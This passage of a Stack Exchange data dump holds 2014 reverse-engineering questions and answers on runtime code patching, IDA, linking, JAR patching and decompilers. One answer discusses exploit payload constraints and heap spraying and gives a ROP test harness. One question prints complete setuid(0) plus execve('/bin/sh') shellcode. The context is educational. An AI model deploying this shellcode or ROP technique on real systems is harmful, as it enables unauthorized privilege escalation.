rel=&quot;nofollow&quot;&gt;Reducing Executable Size&lt;/a&gt; is a pretty good list of useful info which can help you to understand what is going on under the hood.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My suggestion is to write the following code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main()&#xA;{&#xA;   return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;remove all optimizations and start your study from there by adding/removing compiler options one in a time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have Fun!&lt;/p&gt;&#xA;" OwnerUserId="2021" LastEditorUserId="2021" LastEditDate="2014-02-20T09:27:01.953" LastActivityDate="2014-02-20T09:27:01.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3728" PostTypeId="1" CreationDate="2014-02-20T10:48:16.757" Score="3" ViewCount="1022" Body="&lt;p&gt;How do I go about patching ARM7 binary code for an ELF Shared Object during run-time?&#xA;To elaborate, I want to patch a specific routine during run-time for my own application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried googling to check how to do this, but I can't find anything. I don't need the entire answer, what I need is: what functions I should use, and I can figure out the rest on my own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The platform is ARM7 processors, specifically, mobile phones running the Android OS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance.&lt;/p&gt;&#xA;" OwnerUserId="2871" LastEditorUserId="2871" LastEditDate="2014-02-20T10:53:43.063" LastActivityDate="2015-01-24T13:24:30.913" Title="Patching ARM7 code during runtime" Tags="|android|arm|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3729" PostTypeId="2" ParentId="3728" CreationDate="2014-02-20T10:55:39.000" Score="3" Body="&lt;p&gt;In fact you need &lt;a href=&quot;http://linux.die.net/man/2/mprotect&quot; rel=&quot;nofollow&quot;&gt;mprotect&lt;/a&gt; (to gain a privilege to write to code area) and memcpy or any other thing to write to the memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that ARM is built on &lt;a href=&quot;http://en.wikipedia.org/wiki/Harvard_architecture&quot; rel=&quot;nofollow&quot;&gt;Harvard architecture&lt;/a&gt; and after writing the code you'll possibly need to do something with code cache.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2014-02-20T11:14:44.003" LastActivityDate="2014-02-20T11:14:44.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3730" PostTypeId="2" ParentId="3728" CreationDate="2014-02-20T13:19:06.700" Score="5" Body="&lt;p&gt;Depending if the memory is protected, you will have to give yourself permission to write to the specified area, mprotect, and then you can just memcpy over your code to the specified area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The larger issue you run into when modifying code at runtime is &lt;a href=&quot;http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.ddi0151c/I27743.html&quot; rel=&quot;nofollow&quot;&gt;cache coherency&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ARM processors have 2 caches that you have to worry about, the ICache (instruction cache) and the DCache (data cache). When you self modify code, you end up changing instructions in the DCache but not necessarily in memory, or more importantly the ICache, therefor these caches become out of sync. You must take some steps to ensure these caches are &quot;clean&quot;/in sync. Flushing the DCache ensures that the changes made in DCache get written to memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Flushing the DCache forces the ICache to re-fetch instructions (aka your modified code). On ARM linux there is a syscall call &lt;code&gt;cacheflush&lt;/code&gt; that takes care of this. Depending on how you are modifying memory/in what context, there is an issue of chicken or the egg, as your newly modified code cant contain the cache flush as the caches will already be out of sync, therefor there are other ways to force a cache flush, such as forcing a context switch, i.e. a sleep, when you don't have the ability to programmatically flush the cache.&lt;/p&gt;&#xA;" OwnerUserId="3709" LastEditorUserId="3709" LastEditDate="2014-02-26T14:15:25.000" LastActivityDate="2014-02-26T14:15:25.000" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3731" PostTypeId="2" ParentId="3726" CreationDate="2014-02-20T13:50:04.277" Score="6" Body="&lt;p&gt;This comes down to the type of bug you are exploiting. If your payload cant contain null bytes (a vulnerable strcpy), this can become an issue, however not all bugs have this constraint. Take for example a bug in how a filetype is parsed, which allows null bytes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also there is the possibility of a series of bugs to be used, for example, the idea of heap spraying. Generally you spray the heap doing other &quot;legitimate&quot; things, such as in &lt;a href=&quot;https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/&quot;&gt;this write up&lt;/a&gt; by corelancoder. His shell code, which would be your ROP chain, is part bitmap files that he consecutively loads to &quot;spray the heap&quot;, while the bug is actually triggered by javascript and doesn't actually contain the shellcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to just work on ROP, and not worry about byte limitations, i'd suggest writing a simple harness to test your shellcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt; Sorry wrong harness. This one is clearly 64-bit specific.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;&#xA;int data[10000000];&#xA;&#xA;void start_rop(char * rop)&#xA;{&#xA;        __asm(&quot;mov (%rax),%rsp&quot;); //move contents of first argument into the stack pointer&#xA;}&#xA;&#xA;int main(int argc, char * argv)&#xA;{&#xA;&#xA;        char  code[] = &quot;AAAAAAAA&quot;;&#xA;        char * malloc_code = (char *)malloc(sizeof(code));&#xA;        memcpy(malloc_code,&amp;amp;code,sizeof(code));&#xA;&#xA;        start_rop(malloc_code);&#xA;&#xA;        free(malloc_code);&#xA;        return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3709" LastEditorUserId="3709" LastEditDate="2014-02-20T19:18:08.227" LastActivityDate="2014-02-20T19:18:08.227" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3733" PostTypeId="1" AcceptedAnswerId="3735" CreationDate="2014-02-20T18:01:06.187" Score="2" ViewCount="451" Body="&lt;p&gt;So basically I my nasm syntax asm code, I use some extern functions like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;extern _printf&#xA;extern __imp__Sleep@4&#xA;....&#xA;call _printf&#xA;call    [__imp__Sleep@4]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I use nasm to assemble it into obj:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;nasm -f win32 test.asm&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I use IDA Pro to disassemble test.obj, I can see code like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/awMR3.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See, extern function name like &lt;strong&gt;_printf&lt;/strong&gt; has been kept.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I link this obj file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cl /MT z:\\windows\\test.obj /link kernel32.lib libcmt.lib /SUBSYSTEM:CONSOLE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I use IDA Pro to disassemble test.exe, I can see code like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oGiwm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See, the function name of &lt;strong&gt;_printf&lt;/strong&gt; has been changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know basically after static link, the code of _printf has been put into the test.exe, in the subroutine of &lt;strong&gt;sub_409C9B&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But basically &lt;strong&gt;I have to make the name of extern declared functions unchangeable&lt;/strong&gt;, because I need to reverse engineering the test.exe and do some modify/remove towards those functions, and once PE exe lost the name info, I can not locate those targeting functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why cl.exe will change the name of those functions, and is there any way to stop the change(I mean keep the function name unchangeable during the link time)?&lt;/p&gt;&#xA;" OwnerUserId="3215" LastActivityDate="2014-04-23T09:30:44.450" Title="Why cl.exe change the extern function name used in my code?" Tags="|ida|winapi|nasm|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3734" PostTypeId="2" ParentId="3733" CreationDate="2014-02-20T18:13:12.060" Score="4" Body="&lt;p&gt;When &lt;code&gt;printf()&lt;/code&gt; is called as an external function, the Windows loader needs to look up the address of the &lt;code&gt;printf()&lt;/code&gt; function by-name at run-time so that the caller can find the &lt;code&gt;printf()&lt;/code&gt; code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When &lt;code&gt;printf()&lt;/code&gt; is called as an embedded library function, the compiler already knows the address of the &lt;code&gt;printf()&lt;/code&gt; function at compile-time, and thus doesn't need to embed the function's name in the executable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want the &lt;code&gt;printf()&lt;/code&gt; name to automatically show in your disassembly, either export debug symbols or stick with using external DLLs. Alternatively, you may be able to use IDA's FLIRT libraries to identify the &lt;code&gt;printf()&lt;/code&gt; function in the embedded library code.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-02-20T18:13:12.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3735" PostTypeId="2" ParentId="3733" CreationDate="2014-02-20T19:53:17.857" Score="6" Body="&lt;p&gt;You've got some kind of &lt;a href=&quot;https://meta.stackexchange.com/questions/66377/what-is-the-xy-problem&quot;&gt;XY-problem&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The truth is: it's IDA who so to say &quot;changes&quot; the name of (something she thinks is) a function from absolutely nothing to &lt;code&gt;sub_{address}&lt;/code&gt;. Why on earth would &lt;code&gt;PE-file&lt;/code&gt; have non-exported symbols stored in it? Some kind of masochism? To give a candy to reversers?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, you have at least three ways of dealing with your problem:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;pray and hope that IDA's &lt;a href=&quot;https://www.hex-rays.com/products/ida/tech/flirt/in_depth.shtml&quot; rel=&quot;nofollow&quot;&gt;FLIRT&lt;/a&gt; will heuristically recognize &lt;code&gt;printf&lt;/code&gt;;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;link&lt;/code&gt; your program with debug-info: &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/aa235413.aspx&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;-debug&lt;/code&gt;&lt;/a&gt; which tells linker to generate &lt;a href=&quot;http://en.wikipedia.org/wiki/Program_database&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;pdb&lt;/code&gt;&lt;/a&gt;-file which IDA will query for all the symbols stored for your application;&lt;/li&gt;&#xA;&lt;li&gt;tell linker to &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/aa235424.aspx&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;-export:printf&lt;/code&gt;&lt;/a&gt; so that it's name will be in export directory and you can get it's address easily even programmatically.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3969" LastEditorUserId="-1" LastEditDate="2014-04-23T13:27:11.880" LastActivityDate="2014-02-20T19:53:17.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3736" PostTypeId="2" ParentId="2297" CreationDate="2014-02-20T20:17:24.130" Score="1" Body="&lt;p&gt;In my experience VirtualKD will not work in this setup. I tried to get VisualDDK (same people and uses VirtualKD) to work in this exact setup but had no joy. In the end I installed bootcamp on my Mac, with Windows 7 as the host and VMWorkstation running my targets. Everything worked fine and it was all gravy. &lt;/p&gt;&#xA;" OwnerUserId="3976" LastActivityDate="2014-02-20T20:17:24.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3737" PostTypeId="1" CreationDate="2014-02-21T20:03:31.203" Score="1" ViewCount="107" Body="&lt;p&gt;I am trying to write binary opcodes, but I can't in a text editor as 1s and 0s because:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 or 0 on a text editor ends up being stored as the literal ASCII equivalent code on the storage medium, &lt;strong&gt;not the individual bit values as part of a machine instruction&lt;/strong&gt;. I want to write a program in machine code to be executable directly to the CPU without assembling/etc. However, there's only one way I can think of:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can flip the conundrum backwards, and instead of worrying about the formation of bits, I can write ASCII characters and save them in a text editor so long as their ASCII-binary equivalent matches the identical configuration of an opcode byte(s) for the target machine. But then the problem arises again ... &lt;strong&gt;there is not an existing one-byte ASCII character that can match every possible combination of bits within an opcode, so I can't code this way.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For me to write in machine code, I'd need a way of directly placing the right formation of bits that make up each byte(s) and instruction(s).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CORRECTION: I am not trying to write a single bit at a time (not possible in x86), but get a byte configured with the correct bits in order to be stored that make up the correct machine instructions.&lt;/p&gt;&#xA;" OwnerUserId="3983" LastEditorUserId="3983" LastEditDate="2014-02-21T20:08:53.260" LastActivityDate="2014-02-21T20:08:53.260" Title="How to write bit-by-bit to a medium, as opposed to byte-by-byte?" Tags="|machine-code|" AnswerCount="0" CommentCount="7" ClosedDate="2014-02-22T12:06:56.763" ContentLicense="CC BY-SA 3.0" />
  <row Id="3738" PostTypeId="1" CreationDate="2014-02-21T23:51:40.487" Score="2" ViewCount="824" Body="&lt;p&gt;I'm using IDA Starter 6.5 on linux. (Debian Wheezy 32bit)&#xA;I would like to perform batch analysis on a bunch of iOS apps with an IDAPython script.&#xA;To do so, I use command as such, to call text interface:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ~/.ida-6.5/idal -A -SDump.py my_app&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, it just flashed out in a sec and quited before any analysis happened.&#xA;The only thing I saw on the last line of IDA is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file is encrypted. The disassembly of it will be likely useless.&#xA;Do you want to continue? ? -&gt; N~o&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know how to make it Yes so I can use command line?&#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3984" LastEditorUserId="245" LastEditDate="2014-02-22T01:08:09.597" LastActivityDate="2014-03-09T11:06:58.563" Title="Force IDA starter 6.5 to disassemble encrypted in autonomous mode" Tags="|ida|idapython|automation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3739" PostTypeId="2" ParentId="3738" CreationDate="2014-02-21T23:54:09.513" Score="0" Body="&lt;p&gt;You can use the &lt;code&gt;yes&lt;/code&gt; command.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;yes | ~/.ida-6.5/idal -A -SDump.py my_app&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2014-02-21T23:54:09.513" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3741" PostTypeId="1" AcceptedAnswerId="3743" CreationDate="2014-02-22T12:17:53.460" Score="1" ViewCount="989" Body="&lt;p&gt;Being a beginner in &lt;strong&gt;C#&lt;/strong&gt; I wonder if it is possible to patch a &lt;strong&gt;&lt;em&gt;.class&lt;/strong&gt; file inside a &lt;strong&gt;&lt;/em&gt;.jar&lt;/strong&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since jar files tend to act like &quot;zip&quot; files, the approach I think might work is to decompress the jar, &lt;strong&gt;patch the hex offset&lt;/strong&gt; in the *.class then zip back the jar and overwrite the original.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any examples or tutorials showing how to do this? is there a better approach?&lt;/p&gt;&#xA;" OwnerUserId="3988" LastActivityDate="2014-02-22T23:30:01.640" Title="Patch a Java class inside a jar using C#" Tags="|java|hex|patching|jar|c#|" AnswerCount="2" CommentCount="4" ClosedDate="2014-02-24T23:51:58.157" ContentLicense="CC BY-SA 3.0" />
  <row Id="3742" PostTypeId="1" CreationDate="2014-02-22T19:42:18.717" Score="2" ViewCount="1750" Body="&lt;p&gt;I have a 64-bit Mach-O sample that uses the System V AMD64 ABI calling convention (rdi, rsi, rdx, rcx,...); but IDA thinks all the functions are using cdecl. I'm new to IDA scripting but didn't find any information in the docs. My goal is to convert all the function types to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;type __usercall function&amp;lt;rax&amp;gt;(type name0&amp;lt;rdi&amp;gt;, type name1&amp;lt;rsi&amp;gt;, ...)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Related: is there a way to read the arguments and/or number of arguments from the function definition?&lt;/p&gt;&#xA;" OwnerUserId="3993" LastActivityDate="2014-02-24T20:05:36.843" Title="Change calling convention from IDAPython?" Tags="|idapython|calling-conventions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3743" PostTypeId="2" ParentId="3741" CreationDate="2014-02-22T22:15:10.960" Score="2" Body="&lt;p&gt;There are three ways to do this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Decompile the content of the JAR, make your changes to the decompiled source code, recompile the sources, and rebuild the JAR. This works well if the CLASS files aren't obfuscated or overly complex.&lt;/li&gt;&#xA;&lt;li&gt;As you answered in your question, you could extract the CLASS, hex edit it to make your changes, and add it back into the JAR with a tool like WinZip, WinRAR, or 7-zip.&lt;/li&gt;&#xA;&lt;li&gt;Use the Java Virtual Machine Tools Interface to dynamically patch the program at runtime.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Unclear from your question what this has to do with C#, though.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2014-02-22T22:24:15.053" LastActivityDate="2014-02-22T22:24:15.053" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3744" PostTypeId="2" ParentId="3741" CreationDate="2014-02-22T23:30:01.640" Score="0" Body="&lt;p&gt;After some more research I found &lt;a href=&quot;http://www.codeproject.com/Articles/27606/Opening-Jars-with-C&quot; rel=&quot;nofollow noreferrer&quot;&gt;this tutorial&lt;/a&gt; and &lt;a href=&quot;https://stackoverflow.com/questions/3217732/how-to-edit-a-binary-files-hex-value-using-c-sharp&quot;&gt;this answer&lt;/a&gt; about patching class files inside jars using the &lt;a href=&quot;http://www.icsharpcode.net/OpenSource/SharpZipLib/&quot; rel=&quot;nofollow noreferrer&quot;&gt;SharpZipLib&lt;/a&gt; library.&lt;/p&gt;&#xA;" OwnerUserId="3988" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2014-02-22T23:30:01.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3745" PostTypeId="2" ParentId="3742" CreationDate="2014-02-23T08:06:45.457" Score="3" Body="&lt;p&gt;Use &lt;code&gt;idc.SetType&lt;/code&gt; (see documentation &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;  )&#xA;It works exactly the same as pressing y on function and defining the type, but you have to add semicolon to the end of the type definition.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2014-02-23T08:16:24.390" LastActivityDate="2014-02-23T08:16:24.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3746" PostTypeId="2" ParentId="2764" CreationDate="2014-02-23T13:32:04.097" Score="2" Body="&lt;p&gt;You can use this tool &lt;a href=&quot;https://code.google.com/p/mynav/&quot; rel=&quot;nofollow&quot;&gt;MyNav&lt;/a&gt;. You can see some video examples here: &lt;a href=&quot;https://www.hex-rays.com/contests/2010/#mynav&quot; rel=&quot;nofollow&quot;&gt;Hex-Rays Plug-In Contest 2010&lt;/a&gt;. I think you're interested exactly on &lt;a href=&quot;https://www.hex-rays.com/contests/2010/MyNav/tutorials/acrobatjs.htm&quot; rel=&quot;nofollow&quot;&gt;Analyzing Adobe Acrobat Reader's JavaScript plugin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you can use the commercial tool &lt;a href=&quot;http://www.zynamics.com/binnavi.html&quot; rel=&quot;nofollow&quot;&gt;BinNavi&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2014-02-23T13:32:04.097" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3747" PostTypeId="1" CreationDate="2014-02-24T03:30:03.087" Score="1" ViewCount="636" Body="&lt;p&gt;I recently acquired root access to an Apple Airport Express router (2nd gen), and I would like to dump the current bootloader of the device to a .bin file I suppose.  What tools would be necessary for doing such a thing?  I am open to all suggestions short of desoldering the flash chip from the device.&lt;/p&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2014-02-24T12:50:28.717" Title="How to dump the bootloader of NetBSD router?" Tags="|firmware|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3748" PostTypeId="1" AcceptedAnswerId="3751" CreationDate="2014-02-24T08:18:37.010" Score="18" ViewCount="178229" Body="&lt;p&gt;I have the following assembly code over Linux distro:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# using the .data section for write permission&#xA;# instead of .text section&#xA;.section .data&#xA;.globl _start&#xA;&#xA;_start:&#xA;     # displaying some characters for watermarking :-)&#xA;     xor %eax,%eax      # clear eax by setting eax to 0&#xA;     xor %ebx,%ebx      # clear ebx by setting ebx to 0&#xA;     xor %edx,%edx      # clear edx by setting edx to 0&#xA;     push %ebx          # push ebx into the stack, base pointer&#xA;                        # for the stack frame&#xA;     push $0xa696e55    # push U-n-i characters&#xA;     push $0x4d555544   # push M-U-U-D characters&#xA;     push $0x414d4841   # push A-M-H-A characters&#xA;     movl  %esp,%ecx    # move the sp to ecx&#xA;     movb  $0xf,%dl     # move 15 to dl (low d), it is the string length,&#xA;                        # notice the use of movb - move byte, this is to avoid null&#xA;     movb  $0x4,%al     # move 4 to al (low l),&#xA;                        # 4 is system call number for&#xA;                        # write(int fd, char *str, int len)&#xA;     int  $0x80         # call kernel/syscall&#xA;&#xA;     # setuid(0)&#xA;     xor %eax,%eax      # clear eax by setting eax to 0&#xA;     xor %ebx,%ebx      # clear ebx by setting ebx to 0&#xA;     xor %ecx,%ecx      # clear ecx by setting ecx to 0&#xA;     movb $0x17,%al     # move 0x17 into al - setuid(0)&#xA;     int $0x80          # call kernel/syscall&#xA;&#xA;     jmp do_call        # jump to get the address with the call trick&#xA;&#xA;jmp_back:&#xA;     pop %ebx           # ebx (base pointer=stack frame pointer) has &#xA;                        # the address of our string, use it to index&#xA;     xor %eax,%eax      # clear eax by setting eax to 0&#xA;     movb %al,7(%ebx)   # put a null at the N or shell[7]&#xA;     movl %ebx,8(%ebx)  # put the address of our string (in ebx) into shell[8]&#xA;&#xA;     movl %eax,12(%ebx) # put the null at shell[12] our string now looks something like&#xA;                        # &quot;/bin/sh\0(*ebx)(*0000)&quot;&#xA;     xor %eax,%eax      # clear eax by setting eax to 0&#xA;     movb $11,%al       # put 11 which is execve&#xA;&#xA;# syscall number into al&#xA;     leal 8(%ebx),%ecx  # put the address of XXXX i.e. (*ebx) into ecx&#xA;     leal 12(%ebx),%edx # put the address of YYYY i.e. (*0000) into edx&#xA;     int $0x80          # call kernel/syscall&#xA;&#xA;do_call:&#xA;     call jmp_back&#xA;&#xA;shell:&#xA;     .ascii &quot;/bin/shNXXXXYYYY&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How is it possible to convert it to C code?&lt;/p&gt;&#xA;" OwnerUserId="4003" LastEditorUserId="189" LastEditDate="2014-03-02T12:13:12.200" LastActivityDate="2022-09-26T13:31:44.757" Title="Converting assembly code to c" Tags="|disassembly|decompilation|linux|c|exploit|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3749" PostTypeId="2" ParentId="3748" CreationDate="2014-02-24T08:27:44.797" Score="6" Body="&lt;p&gt;You need decompiler. I'd compile it and use &lt;a href=&quot;http://decompiler.fit.vutbr.cz/decompilation/&quot; rel=&quot;noreferrer&quot;&gt;retargetable decompiler&lt;/a&gt;&#xA;It is easiest way to do this specific task.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2014-02-24T08:27:44.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3750" PostTypeId="1" AcceptedAnswerId="3755" CreationDate="2014-02-24T08:33:31.503" Score="3" ViewCount="2616" Body="&lt;p&gt;I pointed the API help file to &lt;code&gt;WIN32.HLP&lt;/code&gt; (Help -&gt; Select API File -&gt; win32.hlp -&gt; Open)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I right click on API and click 'Help on Symbolic name' 'Windows Help and Support' comes up and shows me 'Why can't I get Help from this program? '.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the problem here...I'm using win 7, 64 Bit.&lt;/p&gt;&#xA;" OwnerUserId="4004" LastEditorUserId="245" LastEditDate="2014-02-24T12:35:45.503" LastActivityDate="2016-03-08T12:12:56.897" Title="OllyDgb1.10 API help file not working" Tags="|ollydbg|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3751" PostTypeId="2" ParentId="3748" CreationDate="2014-02-24T08:46:02.997" Score="24" Body="&lt;p&gt;Here is the list of few decompilation tools / resources that you may find useful.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.hex-rays.com/products/decompiler/&quot; rel=&quot;noreferrer&quot;&gt;IDA Pro + Hex-Rays&lt;/a&gt; decompiler&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.hopperapp.com&quot; rel=&quot;noreferrer&quot;&gt;Hopper disassembler&lt;/a&gt; (has a decompiler)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://onlinedisassembler.com&quot; rel=&quot;noreferrer&quot;&gt;ODA&lt;/a&gt; (Online Disassembler)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://retdec.com&quot; rel=&quot;noreferrer&quot;&gt;Retargetable Decompiler&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://sourceforge.net/projects/boomerang/&quot; rel=&quot;noreferrer&quot;&gt;Boomerang&lt;/a&gt; (decompiler)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3574" LastEditorUserId="245" LastEditDate="2020-10-21T20:37:54.640" LastActivityDate="2020-10-21T20:37:54.640" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="3752" PostTypeId="1" AcceptedAnswerId="3753" CreationDate="2014-02-24T09:38:01.077" Score="3" ViewCount="729" Body="&lt;p&gt;I want to know if there are ways to compile C, C++ and Python code in order to not be able to reverse engineering it over Linux or not?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have heard there are some ways over Windows to do it, but I am working on Linux. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to compile my code securely, as released or final version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At least I want to make it hard for usual users to disassemble, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using GCC for C and C++, also I would be thankful if you introduce me best compiler for Python. &lt;/p&gt;&#xA;" OwnerUserId="4003" LastEditorUserId="4003" LastEditDate="2014-02-24T10:18:55.363" LastActivityDate="2014-02-24T13:02:50.063" Title="How to compile c, cpp and python code as &quot;Released/Final&quot; version?" Tags="|python|c|c++|compilers|software-security|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3753" PostTypeId="2" ParentId="3752" CreationDate="2014-02-24T10:17:27.793" Score="7" Body="&lt;p&gt;You cannot prevent reverse engineering. You can make it more or less harder but you cannot prevent it. No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, as the author updated it with a more clearer question... this is what one can do:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Strip symbols from the binaries. At the very least.&lt;/li&gt;&#xA;&lt;li&gt;Obfuscate the code. This may help: &lt;a href=&quot;https://stackoverflow.com/questions/4111808/c-c-compiler-generating-obfuscated-code&quot;&gt;https://stackoverflow.com/questions/4111808/c-c-compiler-generating-obfuscated-code&lt;/a&gt;. &lt;/li&gt;&#xA;&lt;li&gt;Pack or protect the binary. I know no good available protector for Linux, sorry.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;As for the Python code... If you're lucky enough, you can use &lt;a href=&quot;https://code.google.com/p/shedskin/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Shedskin&lt;/a&gt; to compile to native code and then apply the same techniques discussed before. If not, you may give a try to Cython 